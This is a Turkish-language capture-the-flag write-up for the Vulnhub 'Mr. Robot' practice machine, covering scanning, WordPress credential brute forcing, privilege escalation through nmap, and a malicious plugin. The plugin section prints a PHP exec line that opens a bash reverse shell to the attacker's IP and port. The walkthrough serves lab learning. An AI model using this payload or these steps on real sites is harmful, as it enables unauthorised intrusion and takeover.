Vulnhub – Mr. Robot Writeup

Vulnhub – Mr. Robot Writeup

Herkese merhaba, bu hafta sizlere Vulnhub sisteminde bulunan Mr. Robot isimli zafiyetli makinanın çözüm yollarını paylaşacağım 🙂 Keyifli okumalar!

ENUMARATION

1.0

Hedef makinanın geçerli IP adresini “netdiscover” aracı sayesinde belirledikten sonra, nmap yardımı ile hangi portların açık olup olmadığını öğreniyorum. 80 portunda bulunan web servisini gobuster ile tarattıktan sonra robots.txt dosyasına erişimin olduğunu belirten geri dönüş alıyorum (status 200).

1.1

robost.txt doyasının içerisinde, 2 farklı dosyaya erişimin nasıl olduğunu belirten girdiler mevcut. Bkz; robots.txt nedir?

1.2

Gözlemlediğim kadarıyla sistemde 3 adet flag bulunmakta ve biz şu ana kadar 1. flagı keşfettik.

1.3

fsocity.dic uzantsına gittiğimde bize bir wordlist indirmektedir.

1.4

Görsel 1.0’da bulunan bağlantıları tekrar incelediğimde /admin paneli gözüme çarpmaktadır. Admin paneline erişim sağladığımda bir wordpress sistemine ait olduğunu öğrendiğim login girişi bulunmakta. Bir kaç rast gele kullanıcı adı ve şifre girişi yapıyorum ve hata olarak bana geçersiz kullanıcı adı olduğunu belirtiyor. Yani kullanıcı adının ne olduğunu öğrnememiz gerekli ve daha sonra o kullanıcı adının şifresinin ne olduğunu öğrenmeliyiz. Hadi başlayalım 🙂

1.5

Burp suite programı yardımı aracılığıyla, geçerli kullanıcı adını öğreniyorum. Bkz; Burp suite snipper kullanımı nasıldır?

1.6

Bulunan kullanıcı adını denediğimde, bu sefer bizi Elliot için geçersiz parola girişi yapıldığıyla ilgili uyaran bir hata mesajı gelmekte. Sırada, parolayı bulmamız gerekli 🙂

1.7

wpscan aracını kullanarak, hedef sistemde bulunan Elliot kullanıcısının parolasını öğrenmek adına bir kaba kuvvet saldırısı gerçekleştiriyorum. Saldırı sonucunda parolamızı öğreniyorum 🙂

Explanation

2.0

Hedef sisteme giriş yaptıktan sonra, sistem içerisinde reverse shell almayı hedeflediğim için özel bir plugin hazırladım. Hazırlaığım bu plugin içerisine ise kendi ip adresimin ve dinlemeye aldığım portu tetikleyecek bir kod ekliyorum.

Nasıl Yaptık?;

exec("/bin/bash -c 'bash -i >& /dev/tcp/<İP ADRESİ>/<PORT> 0>&1'");

Yukarıda bulunan kodu “.php” uzantılı bir dosya içerisine ekliyorum. Eklediğim dosyayı “zip” ile sıkıştırıp, hedef sistemin; eklentiler-> yeni eklenti -> klasörden seç diyerek kendi bilgisayarımdan hedef sistemin içerisine atıyorum. Yüklediğim bu zararlı eklentiyi aktif etmeden önce, kali bilgisayarımda bir netcat bağlantısı başlatıyor ve ardından eklentiyi aktif ediyorum.

2.1

Aktif ettiğim eklenti, bana sisteme erişim sağladı.

2.2

home/robot dizini içerisinde bulunan password.raw-md5 isimli dosyayı cat programı sayesinde okuyorum. Okuduğum veri isim:hash şeklinde “:” yardımı ile ayrılmış. Bu, linux sistemlerde kullanıcı adı ve parolanın saklanma şeklidir.

2.3

bir web sayfasından aldığım md5 unhash yardımı sayesinde görsel 2.2’de aldığım hash değerinin aslında ne olduğunu görebiliyorum.

2.4

su robot yardımı ile şifresini öğrendiğimi düşündüğüm kullanıcıya giriş yapmak isterken, bir hata ile karşılaşıyorum. Hata, benim bir terminal ekranında çalışmadığmı söylüyor.

2.5

Python içerisinde bulunan, pyt.spawn yardımı ile kendimi bash ekranı içerisine alıyorum.

2.6

robot kullanıcısına giriş yapmayı başardıktan sonra, bulunduğum dizindeki dosyaları listeliyorum. Ardından key-2-of-3.txt isimli dosyayı okuduğumda 2. flagımızı başarıyla alıyorum.

Privelege Escalation

3.1

Robot kullanıcısının yetkisinin olduğu işlemleri listelediğimde, nmap uygulamasına erişim hakkı olduğunu görmekteyim. Bkz; Nmap Kullanılarak Hak Ve Yetki Yükseltme Nasıl Yapılır?

3.2

Nmap aracı sayesinde sistemde root yetkisine sahip olduktan sonra, son flagımızı okuyarak hedef makinanın aşamalarını tamamlamış oluyoruz 🙂

Bu konu hakkında bir şeyler yazmak ister misin?